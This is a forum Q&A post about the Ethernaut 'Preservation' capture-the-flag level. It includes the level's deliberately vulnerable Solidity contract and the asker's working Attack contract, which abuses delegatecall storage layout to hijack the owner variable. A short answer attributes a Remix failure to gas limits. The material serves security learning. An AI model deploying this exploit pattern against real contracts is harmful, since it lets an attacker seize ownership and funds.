0

Ethernaut's Preservation is solved by exploiting that the delegate call to LibraryContract in setFirstTime() and setSecondTime() in fact changes the first variable in Preservation itself (not in LibraryContract), namely timeZone1Library. This can thus be set to a malicious contract which when delegate called through setFirstTime() similarly changes the owner variable.

However, interacting with the contract through Remix fails. I couldn't solve it through Remix alone but also had to call the contract through the console in Ethernaut.

I put the below code in Remix (my Attacker contract appended to the copied code from https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F). I load a Preservation contract from the instance address provided by Ethernaut. I then deploy my Attacker through Remix and click/call hack(). This correctly sets timeZone1Library to my Attacker's address, but it fails to set owner. Calling remixTest() — which calls setFirstTime(0) in Preservation — through Remix again fails to set owner, as well as calling it directly in Remix. But performing the exact same call by typing contract.setFirstTime(0) in the console in Ethernaut does set owner as expected.
Loading a fresh instance of Preservation in Remix, I can call setFirstTime() with an arbitrary input and thus change timeZone1Library. But calling setSecondTime() never works in Remix, but always works in the console.

What is happening here? How can calling setFirstTime(0) work in the console, but not in Remix?

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

contract Attack {
  address public a;
  address public b;
  address public c;
  Preservation target;

  constructor(Preservation _target) public {
    target = _target;
  }

  function setTime(uint _time) public {
    c = tx.origin;
  }

  function hack() public {
    target.setSecondTime(uint(address(this)));
    target.setFirstTime(0);
  }

  function remixTest() public {
    target.setFirstTime(0);
  }
}

1 Answer 1

0

got the same issue. Try setting an higher max gas in your metamask when sending the second txn. https://forum.openzeppelin.com/t/ethernaut-preservation-lvl-16-different-output-while-using-testnet-and-local-network/8241

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.